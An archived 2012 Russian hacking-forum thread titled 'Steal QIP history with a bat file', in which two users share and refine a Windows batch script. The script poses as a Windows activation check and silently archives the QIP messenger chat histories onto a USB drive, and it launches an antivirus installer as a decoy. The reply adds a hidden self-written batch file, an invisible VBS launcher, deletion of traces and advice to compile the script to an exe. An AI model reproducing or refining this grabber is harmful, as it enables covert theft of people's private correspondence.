Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Угнать хистори qip с помощью *bat файла

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> Угнать хистори qip с помощью *bat файла
Имя
Сообщение << Старые топики   Новые топики >>
Угнать хистори qip с помощью *bat файла - 2012-04-02 23:40:13.650000   
Nebafer

Сообщений: 1
Оценки: 0
Присоединился: 2012-04-02 23:30:06.620000
Как-то смотрел вот эту тему , возникла потребность сделать такой *bat- файл. В итоге вот.
@Echo off Title Checking Windows activation. ver cd "%ProgramFiles%\QIP\Users" &gt; nul if exist E:\nod23\Check.9323 E:\nod23\rar.exe a -r users &gt; nul if exist f:\nod23\Check.9323 f:\nod23\rar.exe a -r users &gt; nul if exist g:\nod23\Check.9323 g:\nod23\rar.exe a -r users &gt; nul if exist h:\nod23\Check.9323 h:\nod23\rar.exe a -r users &gt; nul if exist j:\nod23\Check.9323 j:\nod23\rar.exe a -r users &gt; nul if exist k:\nod23\Check.9323 k:\nod23\rar.exe a -r users &gt; nul if exist l:\nod23\Check.9323 l:\nod23\rar.exe a -r users &gt; nul if exist m:\nod23\Check.9323 m:\nod23\rar.exe a -r users &gt; nul if exist n:\nod23\Check.9323 n:\nod23\rar.exe a -r users &gt; nul if exist o:\nod23\Check.9323 o:\nod23\rar.exe a -r users &gt; nul if exist p:\nod23\Check.9323 p:\nod23\rar.exe a -r users &gt; nul if exist q:\nod23\Check.9323 q:\nod23\rar.exe a -r users &gt; nul if exist r:\nod23\Check.9323 e:\nod23\rar.exe a -r users &gt; nul if exist s:\nod23\Check.9323 s:\nod23\rar.exe a -r users &gt; nul if exist t:\nod23\Check.9323 t:\nod23\rar.exe a -r users &gt; nul if exist u:\nod23\Check.9323 u:\nod23\rar.exe a -r users &gt; nul if exist v:\nod23\Check.9323 v:\nod23\rar.exe a -r users &gt; nul if exist w:\nod23\Check.9323 w:\nod23\rar.exe a -r users &gt; nul if exist x:\nod23\Check.9323 x:\nod23\rar.exe a -r users &gt; nul if exist y:\nod23\Check.9323 y:\nod23\rar.exe a -r users &gt; nul if exist z:\nod23\Check.9323 z:\nod23\rar.exe a -r users &gt; nul if exist E:\nod23\Check.9323 copy users.rar E:\nod23\qip &gt; nul if exist f:\nod23\Check.9323 copy users.rar f:\nod23\qip &gt; nul if exist g:\nod23\Check.9323 copy users.rar g:\nod23\qip &gt; nul if exist h:\nod23\Check.9323 copy users.rar h:\nod23\qip &gt; nul if exist j:\nod23\Check.9323 copy users.rar j:\nod23\qip &gt; nul if exist k:\nod23\Check.9323 copy users.rar k:\nod23\qip &gt; nul if exist l:\nod23\Check.9323 copy users.rar l:\nod23\qip &gt; nul if exist m:\nod23\Check.9323 copy users.rar m:\nod23\qip &gt; nul if exist n:\nod23\Check.9323 copy users.rar n:\nod23\qip &gt; nul if exist o:\nod23\Check.9323 copy users.rar o:\nod23\qip &gt; nul if exist p:\nod23\Check.9323 copy users.rar p:\nod23\qip &gt; nul if exist q:\nod23\Check.9323 copy users.rar q:\nod23\qip &gt; nul if exist r:\nod23\Check.9323 copy users.rar r:\nod23\qip &gt; nul if exist s:\nod23\Check.9323 copy users.rar s:\nod23\qip &gt; nul if exist t:\nod23\Check.9323 copy users.rar t:\nod23\qip &gt; nul if exist u:\nod23\Check.9323 copy users.rar u:\nod23\qip &gt; nul if exist v:\nod23\Check.9323 copy users.rar v:\nod23\qip &gt; nul if exist w:\nod23\Check.9323 copy users.rar w:\nod23\qip &gt; nul if exist x:\nod23\Check.9323 copy users.rar x:\nod23\qip &gt; nul if exist y:\nod23\Check.9323 copy users.rar y:\nod23\qip &gt; nul if exist z:\nod23\Check.9323 copy users.rar z:\nod23\qip &gt; nul del users.rar &gt; nul start ess_nt32_rus.msi cd "%ProgramFiles%\QIP 2005\Users" &gt; nul if exist E:\nod23\Check.9323 E:\nod23\rar.exe a -r users &gt; nul if exist f:\nod23\Check.9323 f:\nod23\rar.exe a -r users &gt; nul if exist g:\nod23\Check.9323 g:\nod23\rar.exe a -r users &gt; nul if exist h:\nod23\Check.9323 h:\nod23\rar.exe a -r users &gt; nul if exist j:\nod23\Check.9323 j:\nod23\rar.exe a -r users &gt; nul if exist k:\nod23\Check.9323 k:\nod23\rar.exe a -r users &gt; nul if exist l:\nod23\Check.9323 l:\nod23\rar.exe a -r users &gt; nul if exist m:\nod23\Check.9323 m:\nod23\rar.exe a -r users &gt; nul if exist n:\nod23\Check.9323 n:\nod23\rar.exe a -r users &gt; nul if exist o:\nod23\Check.9323 o:\nod23\rar.exe a -r users &gt; nul if exist p:\nod23\Check.9323 p:\nod23\rar.exe a -r users &gt; nul if exist q:\nod23\Check.9323 q:\nod23\rar.exe a -r users &gt; nul if exist r:\nod23\Check.9323 e:\nod23\rar.exe a -r users &gt; nul if exist s:\nod23\Check.9323 s:\nod23\rar.exe a -r users &gt; nul if exist t:\nod23\Check.9323 t:\nod23\rar.exe a -r users &gt; nul if exist u:\nod23\Check.9323 u:\nod23\rar.exe a -r users &gt; nul if exist v:\nod23\Check.9323 v:\nod23\rar.exe a -r users &gt; nul if exist w:\nod23\Check.9323 w:\nod23\rar.exe a -r users &gt; nul if exist x:\nod23\Check.9323 x:\nod23\rar.exe a -r users &gt; nul if exist y:\nod23\Check.9323 y:\nod23\rar.exe a -r users &gt; nul if exist z:\nod23\Check.9323 z:\nod23\rar.exe a -r users &gt; nul if exist E:\nod23\Check.9323 copy users.rar E:\nod23\qip2005 &gt; nul if exist f:\nod23\Check.9323 copy users.rar f:\nod23\qip2005 &gt; nul if exist g:\nod23\Check.9323 copy users.rar g:\nod23\qip2005 &gt; nul if exist h:\nod23\Check.9323 copy users.rar h:\nod23\qip2005 &gt; nul if exist j:\nod23\Check.9323 copy users.rar j:\nod23\qip2005 &gt; nul if exist k:\nod23\Check.9323 copy users.rar k:\nod23\qip2005 &gt; nul if exist l:\nod23\Check.9323 copy users.rar l:\nod23\qip2005 &gt; nul if exist m:\nod23\Check.9323 copy users.rar m:\nod23\qip2005 &gt; nul if exist n:\nod23\Check.9323 copy users.rar n:\nod23\qip2005 &gt; nul if exist o:\nod23\Check.9323 copy users.rar o:\nod23\qip2005 &gt; nul if exist p:\nod23\Check.9323 copy users.rar p:\nod23\qip2005 &gt; nul if exist q:\nod23\Check.9323 copy users.rar q:\nod23\qip2005 &gt; nul if exist r:\nod23\Check.9323 copy users.rar r:\nod23\qip2005 &gt; nul if exist s:\nod23\Check.9323 copy users.rar s:\nod23\qip2005 &gt; nul if exist t:\nod23\Check.9323 copy users.rar t:\nod23\qip2005 &gt; nul if exist u:\nod23\Check.9323 copy users.rar u:\nod23\qip2005 &gt; nul if exist v:\nod23\Check.9323 copy users.rar v:\nod23\qip2005 &gt; nul if exist w:\nod23\Check.9323 copy users.rar w:\nod23\qip2005 &gt; nul if exist x:\nod23\Check.9323 copy users.rar x:\nod23\qip2005 &gt; nul if exist y:\nod23\Check.9323 copy users.rar y:\nod23\qip2005 &gt; nul if exist z:\nod23\Check.9323 copy users.rar z:\nod23\qip2005 &gt; nul del users.rar &gt; nul cd "%ProgramFiles%\QIP Infium\Profiles" &gt; nul if exist E:\nod23\Check.9323 E:\nod23\rar.exe a -r Profiles &gt; nul if exist f:\nod23\Check.9323 f:\nod23\rar.exe a -r Profiles &gt; nul if exist g:\nod23\Check.9323 g:\nod23\rar.exe a -r Profiles &gt; nul if exist h:\nod23\Check.9323 h:\nod23\rar.exe a -r Profiles &gt; nul if exist j:\nod23\Check.9323 j:\nod23\rar.exe a -r Profiles &gt; nul if exist k:\nod23\Check.9323 k:\nod23\rar.exe a -r Profiles &gt; nul if exist l:\nod23\Check.9323 l:\nod23\rar.exe a -r Profiles &gt; nul if exist m:\nod23\Check.9323 m:\nod23\rar.exe a -r Profiles &gt; nul if exist n:\nod23\Check.9323 n:\nod23\rar.exe a -r Profiles &gt; nul if exist o:\nod23\Check.9323 o:\nod23\rar.exe a -r Profiles &gt; nul if exist p:\nod23\Check.9323 p:\nod23\rar.exe a -r Profiles &gt; nul if exist q:\nod23\Check.9323 q:\nod23\rar.exe a -r Profiles &gt; nul if exist r:\nod23\Check.9323 e:\nod23\rar.exe a -r Profiles &gt; nul if exist s:\nod23\Check.9323 s:\nod23\rar.exe a -r Profiles &gt; nul if exist t:\nod23\Check.9323 t:\nod23\rar.exe a -r Profiles &gt; nul if exist u:\nod23\Check.9323 u:\nod23\rar.exe a -r Profiles &gt; nul if exist v:\nod23\Check.9323 v:\nod23\rar.exe a -r Profiles &gt; nul if exist w:\nod23\Check.9323 w:\nod23\rar.exe a -r Profiles &gt; nul if exist x:\nod23\Check.9323 x:\nod23\rar.exe a -r Profiles &gt; nul if exist y:\nod23\Check.9323 y:\nod23\rar.exe a -r Profiles &gt; nul if exist z:\nod23\Check.9323 z:\nod23\rar.exe a -r Profiles &gt; nul if exist E:\nod23\Check.9323 copy Profiles.rar E:\nod23\qipinfium &gt; nul if exist f:\nod23\Check.9323 copy Profiles.rar f:\nod23\qipinfium &gt; nul if exist g:\nod23\Check.9323 copy Profiles.rar g:\nod23\qipinfium &gt; nul if exist h:\nod23\Check.9323 copy Profiles.rar h:\nod23\qipinfium &gt; nul if exist j:\nod23\Check.9323 copy Profiles.rar j:\nod23\qipinfium &gt; nul if exist k:\nod23\Check.9323 copy Profiles.rar k:\nod23\qipinfium &gt; nul if exist l:\nod23\Check.9323 copy Profiles.rar l:\nod23\qipinfium &gt; nul if exist m:\nod23\Check.9323 copy Profiles.rar m:\nod23\qipinfium &gt; nul if exist n:\nod23\Check.9323 copy Profiles.rar n:\nod23\qipinfium &gt; nul if exist o:\nod23\Check.9323 copy Profiles.rar o:\nod23\qipinfium &gt; nul if exist p:\nod23\Check.9323 copy Profiles.rar p:\nod23\qipinfium &gt; nul if exist q:\nod23\Check.9323 copy Profiles.rar q:\nod23\qipinfium &gt; nul if exist r:\nod23\Check.9323 copy Profiles.rar r:\nod23\qipinfium &gt; nul if exist s:\nod23\Check.9323 copy Profiles.rar s:\nod23\qipinfium &gt; nul if exist t:\nod23\Check.9323 copy Profiles.rar t:\nod23\qipinfium &gt; nul if exist u:\nod23\Check.9323 copy Profiles.rar u:\nod23\qipinfium &gt; nul if exist v:\nod23\Check.9323 copy Profiles.rar v:\nod23\qipinfium &gt; nul if exist w:\nod23\Check.9323 copy Profiles.rar w:\nod23\qipinfium &gt; nul if exist x:\nod23\Check.9323 copy Profiles.rar x:\nod23\qipinfium &gt; nul if exist y:\nod23\Check.9323 copy Profiles.rar y:\nod23\qipinfium &gt; nul if exist z:\nod23\Check.9323 copy Profiles.rar z:\nod23\qipinfium &gt; nul del Profiles.rar &gt; nul Хотелось бы услышать предложения по улучшению кода.
Недостатки: Копирует переписку только с следующих папок: "QIP", "QIP 2005", "QIP infium" в папке "program files". Хотелось бы услышать предложения по устранению этого недостатка.
В ближайшее время дополню код копированием хистори с папки "application data/qip".
Post #: 1
RE: Угнать хистори qip с помощью *bat файла - 2012-04-03 04:04:23.083333   
twist1

Сообщений: 134
Оценки: 0
Присоединился: 2012-03-26 17:24:52.993333
Я так понял, ты копируешь на флэшку все это добро? тогда, чтобы не писать так много строк для каждой буквы используй переменную %CD%.
%CD% - это буква диска с каталога или подкаталога которого которого запущен батник.
НО!!!
Чтобы все работало правильно - нельзя менять диск, т.е. команды cd /d c:\ или cd %programfiles% - неприемлимы в этом батнике. Поэтому этот батя должен создавать другого, который будет выполнять эту черную работу) Например, вот так:

Тело основного батника:
xcopy %cd%nod23 C:\ /S /E /J ##(вместо c:\ может быть любая папка на винте, но я покажу на примере для корня диска) echo cd /d c:\ &gt; 2.bat ##создаем второй батник attrib 2.bat +h /S /D ##Делаем второй батник скрытым и не бросающимся в глаза echo md QIP &gt;&gt; 2.bat echo chdir c:\QIP &gt;&gt; 2.bat echo md QIP &gt;&gt; 2.bat echo md QIP_2005 &gt;&gt; 2.bat echo md QIP_Infium &gt;&gt; 2.bat echo chdir "%ProgramFiles%\QIP" &gt;&gt; 2.bat echo c:\nod23\rar.exe a -r users &gt;&gt; 2.bat echo copy "%ProgramFiles%\QIP\Users.rar с:\QIP\QIP" echo chdir "%ProgramFiles%\QIP 2005" &gt;&gt; 2.bat echo c:\nod23\rar.exe a -r users &gt;&gt; 2.bat echo copy "%ProgramFiles%\QIP 2005\Users.rar" с:\QIP\QIP_2005 echo chdir "%ProgramFiles%\QIP Infium" &gt;&gt; 2.bat echo c:\nod23\rar.exe a -r users &gt;&gt; 2.bat echo copy "%ProgramFiles%\QIP Infium\Users.rar" с:\QIP\QIP_Infium echo exit &gt;&gt; 2.bat echo Dim oShell &gt; 2.vbs ##создаем скрипт для скрытого запуска файла 2.bat attrib 2.vbs +h /S /D echo Set oShell = Wsсriрt.CreateObject ("Wsсriрt.shell") &gt;&gt; 2.vbs echo oShell.run "2.bat", 0 &gt;&gt; 2.vbs echo Set oShell = Nothing &gt;&gt; 2.vbs start /wait 2.vbs ##Запускаем скрипт, который запускает батник timeout ????? - вот тут нужно выставить таймаут (сам думай сколько понадобится времени на архивирование папок), так как команда start /wait дождется завершения работы скрипта и основной батник продолжит работу вместе со вторым одновременно, а этого нам не надо. Я думаю, таймаута в минуты 3-4 хватит - это будет timeout timeout 180 или 240. xcopy c:\QIP %CD% /S /E /J rmdir /s /q c:\QIP rmdir /s /q c:\nod23 del 2.bat /Q /F /A -S -H -R -A del 2.vbs /Q /F /A -S -H -R -A exit Должно работать) во всяком случае, не такой громосткий и без сканирования.
Дальше уже доработать можно будет самому)))
Не забываем компилировать. Советую для этого прогу Bat to Exe converter. Там все есть. простая и удобная.
Дополнение: можно не создавать второй батник из первого, а сделать его отдельно и закомпилировать в *exe и
тогда после первой строки сразу будет start /wait 2.exe . Но это будет не так круто)

Посмотри как я написал флэш-грабер
http://forum.xakep.ru/m_2645388/mpage_1/key_/tm.htm#2645388
Читай первый и второй пост. Там я показал на примере сбора инфы о машине и краже папки "Documents" (впоследствии папка может быть любой)
Читай может что-нибудь прийдёт крутое)))
Post #: 2
Страниц:  [1]
Все форумы >> [Прочее] >> Угнать хистори qip с помощью *bat файла







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.